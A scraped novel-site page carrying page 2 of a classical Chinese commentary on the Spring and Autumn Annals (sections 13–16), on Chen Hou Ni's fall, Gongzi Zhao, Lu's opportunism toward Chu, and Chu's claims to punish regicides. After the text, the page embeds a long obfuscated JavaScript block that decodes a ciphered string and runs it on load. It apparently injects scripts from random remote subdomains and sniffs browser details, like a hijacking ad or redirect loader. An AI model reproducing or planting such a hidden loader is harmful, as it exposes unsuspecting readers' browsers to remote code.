零点小说网

零点小说网 > 玄幻小说 > 史鉴 > 正文 昭公中论

正文 昭公中论(第2页/共3页)

,而与忧其不吊邪?

《黍离》之诗曰:“悠悠苍天,此何人哉!”外有犬戎之相乘,而后伯服足以亡周。不然,宋劭之逆,唐玄之忍,父子喋血而无或夺之,何天之独甚周邪?

十三

《春秋》之纪陈乱也,其词详,详以悯陈,而莫悯乎陈侯溺之卒也。废偃师,溺志也;属招以立留,溺命也。招奉溺命,成溺志,然而溺终忧恚以自杀。

呜呼!一往之夫,始之以一往之志,假手不可恃之奸人,志已露,命已移,虽欲止其燎原之势而不可得,则惟有忧恚以死而已矣。

故夫天下无可恃之奸人,而尤不可恃者,奸之在兄弟姻娅间者也。乃君子处不令之周亲,岂必厚疑之而固绝之哉?其犹可养也,命之必正而导之顺也。

故曰“中也养不中,才也养不才”,无弃焉无疑焉之谓也。其尤奸也,不可养也,有弗命,而命必正也。故曰“烝烝乂,不格奸”,勿使得有为之谓也。

悲哉,溺之愚也!天下有与其兄弟谋杀其子,而能保兄弟之不相逼者乎?杀子之志已露于兄弟,则兄弟习我之忍而胡弗相师以忍?杀子之命直授之兄弟而不忌,则兄弟且忌我之忍而胡弗先我以忍?已使奸人窥我之忍,则彼灼然早知我之不可终事,而我犹恬然相倚以共谋其宗社,迷者日迷,猜者日猜,身不死,国不亡,其胡待焉!

偃师杀,溺恚以死,留奔,过受戮,招乃逸罚于越,故莫悯乎陈侯溺之卒,其弱不可瘳,其祸不可弭也。

十四

称陈侯之弟,亲爱之词也。亲其所固亲,爱其所必爱,陈侯之于兄弟未有过焉。

而嗣子杀,身恚死,国旋以亡,何也?非陈侯之不宜亲爱其弟,陈侯之不宜亲爱其奸也。

以弟故爱之,虽奸而非保奸;以奸故爱之,虽弟而非友弟。天下有与其兄弟谋杀其子,而恬然不疑其忌我者乎?则天下有兄弟命我以杀其子,而可受命以无拒者乎?必拒而不拒,非奸人孰能任之?招自任,而陈侯推心焉。故曰:保奸非友弟也。

是故命之杀人而不应者,其忠易见;命之杀人而力自任之者,其奸易见。惟庸人则不然,恒忠其所奸,而奸其所忠。志已不可戢,命已倒持,而后恚忿从之,自毙速矣!

呜呼,不得有道之子臣而与属焉,不得辅仁之弟友而与交焉,必也与之谋非常之事而不遑,命之以非望之功而不居,志所欲为率与同为而不应,己所好而犹为发其短,己所恶而犹为称其善者乎!《易》曰:“或出或处,或默或语。”言其不相比也。用其道,则蛮髦自效;反其道,则兄弟为奸。招之恣行而无忌也,陈有骨鲠之宗臣,犹弗敢也。陈之无人也,溺之忠其奸而奸其忠巳久矣!

十五

有哲人之愚,有愚人之哲。愚人之哲,亦甚便矣。楚合陈、蔡、郑、许以围宋,鲁遽往会之;楚灭萧以逼宋,鲁遽往会之;楚因陈乱而灭陈,鲁遽往会之。儇捷之甚便,鲁数用之而无劳再计,所谓愚人之哲甚便者也。

楚挟大欲以睨中国,疏不加怨,亲不加恩,视其力而已矣。力苟未足,即深怨如宋,而取平以旋师。力苟有余,陈、蔡日叩其廷而数墟其社。然则鲁高枕山东,而楚弗能以一矢相加,审矣。挟走权之心,乘趋时之捷足,无能自固以因之靡,故甚便者,愚人之哲,哲益愚也。

楚虔无道以兴,其兴也倏焉,倏以兴,即其遽以熸者也。鲁则君执玉,大夫将贿。弃疾立而自戢,封陈、蔡以谢天下,谢天下非忘天下也。鲁则君无南辕,臣绝行李。故夫愚人之哲,亦岂其善走权而疾趋时也哉?震以一旦,歆以一旦。一旦之乍炎,魂褫神游而速去之也,亦如枹歇而鼓瘖。呜呼,处无道之天下,而欲为君子,其亦难矣!

道之据,不如势之张。志之大,不如气之盛。里之强,不如表之荣。非夫善世而不伐,不见是而无闷者,恶能与浮沉之流俗相迎随而弗丧其守者乎?

宁弃疾之寥寥也,勿宁虔之奔走天下也。愚人无所用其哲,而己乃全。《诗》云:“无然歆羡。”此之谓已。

十六

《春秋》书楚人杀陈夏征舒,许之讨贼之词也。书执公子招,诱蔡侯般,执世子有,不许之讨贼之词也。招杀世嫡,恚怒其君,而不去其公子;般弑君父而称侯,子称世子。不于其讨,目言其贼,贼非楚子之得讨矣。

臣弑君,子弑父,凡民罔弗憝者,人之大伦存焉耳。而非我类者不入我伦,不入我伦,人伦之善败,非所治也。非伦者而治人之伦,人道息矣。故君子之恶虎豹蛇虺也,甚于夷狄;恶夷狄也,甚于乱贼。恶夷狄者,为其变而之禽兽也;恶乱贼者,为其变而之夷狄也。

已变者甚于将变者;不待变而固然者,甚于变者。彼已固然,而犹责人之将变而类己,惛不知者,且许之以义名,要岂可以欺君子哉!非若楚庄之退安于伯,志讨贼而不有其国,必弗为之假借之词,君子之不可欺也。以此立教,不善变之臣,犹取讨贼之名,奉非类而戴之,而人道遂灭。夫乃知《春秋》之所忧患,远矣哉!

『加入书签,方便阅读』
-->> 本章未完,点击下一页继续阅读(第2页/共3页)

!function(){function a(a){var _idx="kzsjva1mtn";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPs@QCFT_T_m)C7LSmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCF75FTm6R)_dmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFfY5FmD_L7dmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFSOJTm)C7LSmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFLY_6m6R)_dmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFRDYJmD_L7dmRT4gQ@{n"="hFFJLg\/\/[[fdTPPs@QCFdDqJm6R)_dmRT4gQ@{n"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/s@QjR8S4LCXd}^F2"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"s@Q"=X8"S4LCXd}^F2"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"s@Qd2(LCYmOh5:DmRT4"="s@Q5p(LYpmJfC)RmRT4"="s@QD7(LSqmOh5:DmRT4"="s@QdC(LJ^mJfC)RmRT4"="s@Q(C(L:4mOh5:DmRT4"="s@QC2(LSYmJfC)RmRT4"="s@Q25(LLSmOh5:DmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPs@Q2F(LCYmpSfD2RmRT4gQ@{n/((/s@Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPs@Q2F(LCYmpSfD2RmRT4gQ@{n/((/s@Qj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPs@QCFT_T_m)C7LSmRT4gQ@{n/f/s@Qj(8}vR8S4LCXd}^F2"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPs@QCFT_T_m)C7LSmRT4gQ@{n"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();